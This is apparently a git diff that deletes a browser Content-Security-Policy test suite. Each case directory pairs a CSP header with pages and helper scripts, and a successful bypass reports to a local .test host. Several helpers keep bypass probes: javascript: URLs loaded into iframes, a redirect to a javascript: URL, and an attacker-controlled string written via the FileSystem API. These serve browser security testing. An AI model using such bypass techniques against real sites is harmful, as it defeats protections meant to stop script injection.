@@ -1,2 +0,0 @@ -https://leak.test/CSP/c767635/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c777350/leak.test/main/headers.json b/experiments/pages/CSP/c777350/leak.test/main/headers.json deleted file mode 100644 index 33f7c8e7..00000000 --- a/experiments/pages/CSP/c777350/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; report-uri /report/?leak=c777350" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c777350/leak.test/main/index.html b/experiments/pages/CSP/c777350/leak.test/main/index.html deleted file mode 100644 index ffe92881..00000000 --- a/experiments/pages/CSP/c777350/leak.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - diff --git a/experiments/pages/CSP/c777350/url_queue.txt b/experiments/pages/CSP/c777350/url_queue.txt deleted file mode 100644 index 647e3346..00000000 --- a/experiments/pages/CSP/c777350/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c777350/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c799747-iframe/leak.test/main/headers.json b/experiments/pages/CSP/c799747-iframe/leak.test/main/headers.json deleted file mode 100644 index 0d3f33d7..00000000 --- a/experiments/pages/CSP/c799747-iframe/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "frame-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c799747-iframe/leak.test/main/index.html b/experiments/pages/CSP/c799747-iframe/leak.test/main/index.html deleted file mode 100644 index 5e2d76f1..00000000 --- a/experiments/pages/CSP/c799747-iframe/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - diff --git a/experiments/pages/CSP/c799747-img/leak.test/main/headers.json b/experiments/pages/CSP/c799747-img/leak.test/main/headers.json deleted file mode 100644 index 3ace6cd0..00000000 --- a/experiments/pages/CSP/c799747-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c799747-img/leak.test/main/index.html b/experiments/pages/CSP/c799747-img/leak.test/main/index.html deleted file mode 100644 index cd82608c..00000000 --- a/experiments/pages/CSP/c799747-img/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - diff --git a/experiments/pages/CSP/c799747-only-script-src/leak.test/main/headers.json b/experiments/pages/CSP/c799747-only-script-src/leak.test/main/headers.json deleted file mode 100644 index 6af14155..00000000 --- a/experiments/pages/CSP/c799747-only-script-src/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c799747-only-script-src/leak.test/main/index.html b/experiments/pages/CSP/c799747-only-script-src/leak.test/main/index.html deleted file mode 100644 index 528b83cf..00000000 --- a/experiments/pages/CSP/c799747-only-script-src/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - diff --git a/experiments/pages/CSP/c799747-only-script-src/url_queue.txt b/experiments/pages/CSP/c799747-only-script-src/url_queue.txt deleted file mode 100644 index be32d0b8..00000000 --- a/experiments/pages/CSP/c799747-only-script-src/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c799747-only-script-src/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c799747-x-webkit-csp/leak.test/main/index.html b/experiments/pages/CSP/c799747-x-webkit-csp/leak.test/main/index.html deleted file mode 100644 index 084ad3de..00000000 --- a/experiments/pages/CSP/c799747-x-webkit-csp/leak.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - diff --git a/experiments/pages/CSP/c799747-x-webkit-csp/url_queue.txt b/experiments/pages/CSP/c799747-x-webkit-csp/url_queue.txt deleted file mode 100644 index c7a07f06..00000000 --- a/experiments/pages/CSP/c799747-x-webkit-csp/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c799747-x-webkit-csp/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c799747/leak.test/main/headers.json b/experiments/pages/CSP/c799747/leak.test/main/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/c799747/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c799747/leak.test/main/index.html b/experiments/pages/CSP/c799747/leak.test/main/index.html deleted file mode 100644 index 183be922..00000000 --- a/experiments/pages/CSP/c799747/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - diff --git a/experiments/pages/CSP/c799747/url_queue.txt b/experiments/pages/CSP/c799747/url_queue.txt deleted file mode 100644 index b9d09cff..00000000 --- a/experiments/pages/CSP/c799747/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c799747/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c811691-only-object-src/leak.test/main/headers.json b/experiments/pages/CSP/c811691-only-object-src/leak.test/main/headers.json deleted file mode 100644 index 215f0821..00000000 --- a/experiments/pages/CSP/c811691-only-object-src/leak.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ -"key": "Content-Security-Policy", -"value": "object-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c811691-only-object-src/leak.test/main/index.html b/experiments/pages/CSP/c811691-only-object-src/leak.test/main/index.html deleted file mode 100644 index fdef975c..00000000 --- a/experiments/pages/CSP/c811691-only-object-src/leak.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - diff --git a/experiments/pages/CSP/c811691/leak.test/main/headers.json b/experiments/pages/CSP/c811691/leak.test/main/headers.json deleted file mode 100644 index 16adf1a5..00000000 --- a/experiments/pages/CSP/c811691/leak.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ -"key": "Content-Security-Policy", -"value": "default-src 'none'; object-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c811691/leak.test/main/index.html b/experiments/pages/CSP/c811691/leak.test/main/index.html deleted file mode 100644 index 20a66cac..00000000 --- a/experiments/pages/CSP/c811691/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c811691/url_queue.txt b/experiments/pages/CSP/c811691/url_queue.txt deleted file mode 100644 index b9739e37..00000000 --- a/experiments/pages/CSP/c811691/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c811691/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c845961/a.test/main/index.html b/experiments/pages/CSP/c845961/a.test/main/index.html deleted file mode 100644 index 56a8a7dd..00000000 --- a/experiments/pages/CSP/c845961/a.test/main/index.html +++ /dev/null @@ -1,15 +0,0 @@ -. - \ No newline at end of file diff --git a/experiments/pages/CSP/c845961/url_queue.txt b/experiments/pages/CSP/c845961/url_queue.txt deleted file mode 100644 index dbce8741..00000000 --- a/experiments/pages/CSP/c845961/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c845961/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c894228-x-webkit-csp/a.test/main/index.html b/experiments/pages/CSP/c894228-x-webkit-csp/a.test/main/index.html deleted file mode 100644 index 692e67d6..00000000 --- a/experiments/pages/CSP/c894228-x-webkit-csp/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c894228-x-webkit-csp/leak.test/helper/index.html b/experiments/pages/CSP/c894228-x-webkit-csp/leak.test/helper/index.html deleted file mode 100644 index 84fe5d7a..00000000 --- a/experiments/pages/CSP/c894228-x-webkit-csp/leak.test/helper/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - diff --git a/experiments/pages/CSP/c894228-x-webkit-csp/url_queue.txt b/experiments/pages/CSP/c894228-x-webkit-csp/url_queue.txt deleted file mode 100644 index 84186ff1..00000000 --- a/experiments/pages/CSP/c894228-x-webkit-csp/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c894228-x-webkit-csp/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c894228/a.test/main/index.html b/experiments/pages/CSP/c894228/a.test/main/index.html deleted file mode 100644 index 5272be14..00000000 --- a/experiments/pages/CSP/c894228/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c894228/leak.test/helper/index.html b/experiments/pages/CSP/c894228/leak.test/helper/index.html deleted file mode 100644 index 2de7861a..00000000 --- a/experiments/pages/CSP/c894228/leak.test/helper/index.html +++ /dev/null @@ -1,4 +0,0 @@ -var attackerControlledString = " \ No newline at end of file diff --git a/experiments/pages/CSP/c894228/url_queue.txt b/experiments/pages/CSP/c894228/url_queue.txt deleted file mode 100644 index 6e845bc0..00000000 --- a/experiments/pages/CSP/c894228/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c894228/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c908207/a.test/helper/index.js b/experiments/pages/CSP/c908207/a.test/helper/index.js deleted file mode 100644 index 61c31a50..00000000 --- a/experiments/pages/CSP/c908207/a.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -document.location.href = "https://a.test/report/?leak=c908207"; diff --git a/experiments/pages/CSP/c908207/a.test/main/headers.json b/experiments/pages/CSP/c908207/a.test/main/headers.json deleted file mode 100644 index ce6df566..00000000 --- a/experiments/pages/CSP/c908207/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "script-src 'nonce-random' 'strict-dynamic';" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c908207/a.test/main/index.html b/experiments/pages/CSP/c908207/a.test/main/index.html deleted file mode 100644 index 02053c3f..00000000 --- a/experiments/pages/CSP/c908207/a.test/main/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c909865/a.test/helper/index.html b/experiments/pages/CSP/c909865/a.test/helper/index.html deleted file mode 100644 index 465701e3..00000000 --- a/experiments/pages/CSP/c909865/a.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ -PASS \ No newline at end of file diff --git a/experiments/pages/CSP/c909865/a.test/helper2/index.js b/experiments/pages/CSP/c909865/a.test/helper2/index.js deleted file mode 100644 index 4c21038f..00000000 --- a/experiments/pages/CSP/c909865/a.test/helper2/index.js +++ /dev/null @@ -1,14 +0,0 @@ -"use strict"; - -var iframeHref = document.querySelector("#iframe_href"); -iframeHref.addEventListener("load", function () { - if ( - document - .getElementById("iframe_href") - .contentWindow.document.body.innerHTML.indexOf("IT WORKED") > -1 - ) { - document.location.href = "https://a.test/report/?leak=c909865"; - } - - iframeHref.contentWindow.location.href = "javascript:'IT WORKED'"; -}); diff --git a/experiments/pages/CSP/c909865/a.test/main/headers.json b/experiments/pages/CSP/c909865/a.test/main/headers.json deleted file mode 100644 index bc15379a..00000000 --- a/experiments/pages/CSP/c909865/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'self';" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c909865/a.test/main/index.html b/experiments/pages/CSP/c909865/a.test/main/index.html deleted file mode 100644 index 89fc8f6c..00000000 --- a/experiments/pages/CSP/c909865/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - Setting location with iframe.contentWindow.location.href
- -
- Setting location with iframe.src
- - - \ No newline at end of file diff --git a/experiments/pages/CSP/c916326/a.test/helper/headers.json b/experiments/pages/CSP/c916326/a.test/helper/headers.json deleted file mode 100644 index 703ceae6..00000000 --- a/experiments/pages/CSP/c916326/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c916326/a.test/helper/index.html b/experiments/pages/CSP/c916326/a.test/helper/index.html deleted file mode 100644 index 54147479..00000000 --- a/experiments/pages/CSP/c916326/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c916326/a.test/helper2/index.js b/experiments/pages/CSP/c916326/a.test/helper2/index.js deleted file mode 100644 index 59911a55..00000000 --- a/experiments/pages/CSP/c916326/a.test/helper2/index.js +++ /dev/null @@ -1,28 +0,0 @@ -"use strict"; - -window.requestFileSystem = - window.requestFileSystem || window.webkitRequestFileSystem; -function onInitFs(fs) { - fs.root.getFile( - "test.html", - { create: true }, - function (fileEntry) { - fileEntry.createWriter(function (fileWriter) { - var attackerControlledString = - ""; - var blob = new Blob([attackerControlledString], { type: "text/html" }); - fileWriter.write(blob); - }, errorHandler); - - var url = fileEntry.toURL(); - document.body.appendChild(document.createElement("iframe")).src = url; - }, - errorHandler - ); -} - -function errorHandler(e) { - console.log(e); -} - -window.requestFileSystem(window.TEMPORARY, 1024, onInitFs, errorHandler); diff --git a/experiments/pages/CSP/c916326/leak.test/main/index.html b/experiments/pages/CSP/c916326/leak.test/main/index.html deleted file mode 100644 index 1d9df01c..00000000 --- a/experiments/pages/CSP/c916326/leak.test/main/index.html +++ /dev/null @@ -1,12 +0,0 @@ - -

- test -

- diff --git a/experiments/pages/CSP/c932892/leak.test/helper/headers.json b/experiments/pages/CSP/c932892/leak.test/helper/headers.json deleted file mode 100644 index 01b87434..00000000 --- a/experiments/pages/CSP/c932892/leak.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "301" - }, - { - "key": "Location", - "value": "https://a.test/other_path" - } -] diff --git a/experiments/pages/CSP/c932892/leak.test/helper/index.html b/experiments/pages/CSP/c932892/leak.test/helper/index.html deleted file mode 100644 index 759ea224..00000000 --- a/experiments/pages/CSP/c932892/leak.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ -Redirect \ No newline at end of file diff --git a/experiments/pages/CSP/c932892/leak.test/main/headers.json b/experiments/pages/CSP/c932892/leak.test/main/headers.json deleted file mode 100644 index 5cdad9f5..00000000 --- a/experiments/pages/CSP/c932892/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src https://leak.test;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c932892/leak.test/main/index.html b/experiments/pages/CSP/c932892/leak.test/main/index.html deleted file mode 100644 index f4b196d9..00000000 --- a/experiments/pages/CSP/c932892/leak.test/main/index.html +++ /dev/null @@ -1,32 +0,0 @@ - - - diff --git a/experiments/pages/CSP/c941340/leak.test/main/headers.json b/experiments/pages/CSP/c941340/leak.test/main/headers.json deleted file mode 100644 index 484f7573..00000000 --- a/experiments/pages/CSP/c941340/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'nonce-test'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c941340/leak.test/main/index.html b/experiments/pages/CSP/c941340/leak.test/main/index.html deleted file mode 100644 index ffea0162..00000000 --- a/experiments/pages/CSP/c941340/leak.test/main/index.html +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c941340/url_queue.txt b/experiments/pages/CSP/c941340/url_queue.txt deleted file mode 100644 index febeab7f..00000000 --- a/experiments/pages/CSP/c941340/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c941340/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c955350-img/leak.test/main/headers.json b/experiments/pages/CSP/c955350-img/leak.test/main/headers.json deleted file mode 100644 index 6467f87b..00000000 --- a/experiments/pages/CSP/c955350-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'self'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c955350-img/leak.test/main/index.html b/experiments/pages/CSP/c955350-img/leak.test/main/index.html deleted file mode 100644 index 5b6782f6..00000000 --- a/experiments/pages/CSP/c955350-img/leak.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c957606/a.test/helper/index.js b/experiments/pages/CSP/c957606/a.test/helper/index.js deleted file mode 100644 index 959baaa9..00000000 --- a/experiments/pages/CSP/c957606/a.test/helper/index.js +++ /dev/null @@ -1,16 +0,0 @@ -"use strict"; - -window.addEventListener("load", function () { - var iframe = document.getElementById("iframe"); - - setTimeout(function () { - iframe.contentWindow.location.href = "about:blank"; - - setTimeout(function () { - var iframeDocument = iframe.contentWindow.document; - var image = iframeDocument.createElement("img"); - image.src = "/report/?leak=c957606"; - iframeDocument.body.appendChild(image); - }, 1000); - }, 2000); -}); \ No newline at end of file diff --git a/experiments/pages/CSP/c957606/a.test/main/headers.json b/experiments/pages/CSP/c957606/a.test/main/headers.json deleted file mode 100644 index 1f90230c..00000000 --- a/experiments/pages/CSP/c957606/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "img-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c957606/a.test/main/index.html b/experiments/pages/CSP/c957606/a.test/main/index.html deleted file mode 100644 index 68475ba0..00000000 --- a/experiments/pages/CSP/c957606/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c957606/url_queue.txt b/experiments/pages/CSP/c957606/url_queue.txt deleted file mode 100644 index 28f46e24..00000000 --- a/experiments/pages/CSP/c957606/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c957606/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c967780/a.test/download/headers.json b/experiments/pages/CSP/c967780/a.test/download/headers.json deleted file mode 100644 index 4512087a..00000000 --- a/experiments/pages/CSP/c967780/a.test/download/headers.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "javascript: window.open('https://a.test/report/?leak=c967780')" - }, - { - "key": "Content-Security-Policy", - "value": "script-src 'self';" - } -] diff --git a/experiments/pages/CSP/c967780/a.test/download/index.html b/experiments/pages/CSP/c967780/a.test/download/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/c967780/a.test/helper/index.js b/experiments/pages/CSP/c967780/a.test/helper/index.js deleted file mode 100644 index 8590f228..00000000 --- a/experiments/pages/CSP/c967780/a.test/helper/index.js +++ /dev/null @@ -1,8 +0,0 @@ -"use strict"; - -window.addEventListener("load", function onLoad(event) { - setTimeout(function () { - var downloadLink = document.getElementById("download-link"); - downloadLink.click(); - }, 1000); -}); \ No newline at end of file diff --git a/experiments/pages/CSP/c967780/a.test/main/headers.json b/experiments/pages/CSP/c967780/a.test/main/headers.json deleted file mode 100644 index 83030bb2..00000000 --- a/experiments/pages/CSP/c967780/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self';" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c967780/a.test/main/index.html b/experiments/pages/CSP/c967780/a.test/main/index.html deleted file mode 100644 index 21f7f391..00000000 --- a/experiments/pages/CSP/c967780/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c971231-object/leak.test/main/headers.json b/experiments/pages/CSP/c971231-object/leak.test/main/headers.json deleted file mode 100644 index b277d3a9..00000000 --- a/experiments/pages/CSP/c971231-object/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'unsafe-inline' 'self';object-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c971231-object/leak.test/main/index.html b/experiments/pages/CSP/c971231-object/leak.test/main/index.html deleted file mode 100644 index b63b2d30..00000000 --- a/experiments/pages/CSP/c971231-object/leak.test/main/index.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c971231/leak.test/main/headers.json b/experiments/pages/CSP/c971231/leak.test/main/headers.json deleted file mode 100644 index bfb3264e..00000000 --- a/experiments/pages/CSP/c971231/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'unsafe-inline' 'self';img-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c971231/leak.test/main/index.html b/experiments/pages/CSP/c971231/leak.test/main/index.html deleted file mode 100644 index c681457c..00000000 --- a/experiments/pages/CSP/c971231/leak.test/main/index.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c971231/url_queue.txt b/experiments/pages/CSP/c971231/url_queue.txt deleted file mode 100644 index 8549eee7..00000000 --- a/experiments/pages/CSP/c971231/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -http://leak.test/CSP/c971231/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c990581-x-webkit-csp/leak.test/main/index.html b/experiments/pages/CSP/c990581-x-webkit-csp/leak.test/main/index.html deleted file mode 100644 index 3ded8cc9..00000000 --- a/experiments/pages/CSP/c990581-x-webkit-csp/leak.test/main/index.html +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c990581-x-webkit-csp/url_queue.txt b/experiments/pages/CSP/c990581-x-webkit-csp/url_queue.txt deleted file mode 100644 index 864b4ec2..00000000 --- a/experiments/pages/CSP/c990581-x-webkit-csp/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c990581-x-webkit-csp/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c990581/leak.test/main/headers.json b/experiments/pages/CSP/c990581/leak.test/main/headers.json deleted file mode 100644 index 6af14155..00000000 --- a/experiments/pages/CSP/c990581/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c990581/leak.test/main/index.html b/experiments/pages/CSP/c990581/leak.test/main/index.html deleted file mode 100644 index 244005b5..00000000 --- a/experiments/pages/CSP/c990581/leak.test/main/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - diff --git a/experiments/pages/CSP/c990581/url_queue.txt b/experiments/pages/CSP/c990581/url_queue.txt deleted file mode 100644 index 576cd2a1..00000000 --- a/experiments/pages/CSP/c990581/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c990581/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c992698/leak.test/main/headers.json b/experiments/pages/CSP/c992698/leak.test/main/headers.json deleted file mode 100644 index 63bc06d6..00000000 --- a/experiments/pages/CSP/c992698/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c992698/leak.test/main/index.html b/experiments/pages/CSP/c992698/leak.test/main/index.html deleted file mode 100644 index 7c705e21..00000000 --- a/experiments/pages/CSP/c992698/leak.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - diff --git a/experiments/pages/CSP/c992698/url_queue.txt b/experiments/pages/CSP/c992698/url_queue.txt deleted file mode 100644 index c75e7387..00000000 --- a/experiments/pages/CSP/c992698/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c992698/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1007634/a.test/main/headers.json b/experiments/pages/CSP/f1007634/a.test/main/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/f1007634/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1007634/a.test/main/index.html b/experiments/pages/CSP/f1007634/a.test/main/index.html deleted file mode 100644 index a3a5f674..00000000 --- a/experiments/pages/CSP/f1007634/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - diff --git a/experiments/pages/CSP/f1007634/a.test/worker/index.js b/experiments/pages/CSP/f1007634/a.test/worker/index.js deleted file mode 100644 index 43e0a02e..00000000 --- a/experiments/pages/CSP/f1007634/a.test/worker/index.js +++ /dev/null @@ -1,3 +0,0 @@ -this.onmessage = function(event) { - postMessage("pong"); - } \ No newline at end of file diff --git a/experiments/pages/CSP/f1007634/url_queue.txt b/experiments/pages/CSP/f1007634/url_queue.txt deleted file mode 100644 index b9ef4d7c..00000000 --- a/experiments/pages/CSP/f1007634/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1007634/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1036399/a.test/main/headers.json b/experiments/pages/CSP/f1036399/a.test/main/headers.json deleted file mode 100644 index 579b8496..00000000 --- a/experiments/pages/CSP/f1036399/a.test/main/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'" - }, - { - "key": "Content-Security-Policy", - "value": "default-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1036399/a.test/main/index.html b/experiments/pages/CSP/f1036399/a.test/main/index.html deleted file mode 100644 index d18f8f01..00000000 --- a/experiments/pages/CSP/f1036399/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1036399/url_queue.txt b/experiments/pages/CSP/f1036399/url_queue.txt deleted file mode 100644 index f5a007d6..00000000 --- a/experiments/pages/CSP/f1036399/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1036399/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1073952-frame/a.test/main/headers.json b/experiments/pages/CSP/f1073952-frame/a.test/main/headers.json deleted file mode 100644 index b502277a..00000000 --- a/experiments/pages/CSP/f1073952-frame/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "frame-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-frame/a.test/main/index.html b/experiments/pages/CSP/f1073952-frame/a.test/main/index.html deleted file mode 100644 index 180459b5..00000000 --- a/experiments/pages/CSP/f1073952-frame/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-frame/leak.test/main/headers.json b/experiments/pages/CSP/f1073952-frame/leak.test/main/headers.json deleted file mode 100644 index 0637a088..00000000 --- a/experiments/pages/CSP/f1073952-frame/leak.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-frame/leak.test/main/index.html b/experiments/pages/CSP/f1073952-frame/leak.test/main/index.html deleted file mode 100644 index f25a5d43..00000000 --- a/experiments/pages/CSP/f1073952-frame/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-img/a.test/main/headers.json b/experiments/pages/CSP/f1073952-img/a.test/main/headers.json deleted file mode 100644 index ad9413d2..00000000 --- a/experiments/pages/CSP/f1073952-img/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-img/a.test/main/index.html b/experiments/pages/CSP/f1073952-img/a.test/main/index.html deleted file mode 100644 index 8a79bd3d..00000000 --- a/experiments/pages/CSP/f1073952-img/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-img/leak.test/main/headers.json b/experiments/pages/CSP/f1073952-img/leak.test/main/headers.json deleted file mode 100644 index 0637a088..00000000 --- a/experiments/pages/CSP/f1073952-img/leak.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-img/leak.test/main/index.html b/experiments/pages/CSP/f1073952-img/leak.test/main/index.html deleted file mode 100644 index f25a5d43..00000000 --- a/experiments/pages/CSP/f1073952-img/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-script/a.test/main/headers.json b/experiments/pages/CSP/f1073952-script/a.test/main/headers.json deleted file mode 100644 index 444fba68..00000000 --- a/experiments/pages/CSP/f1073952-script/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-script/a.test/main/index.html b/experiments/pages/CSP/f1073952-script/a.test/main/index.html deleted file mode 100644 index 08da1ba9..00000000 --- a/experiments/pages/CSP/f1073952-script/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git 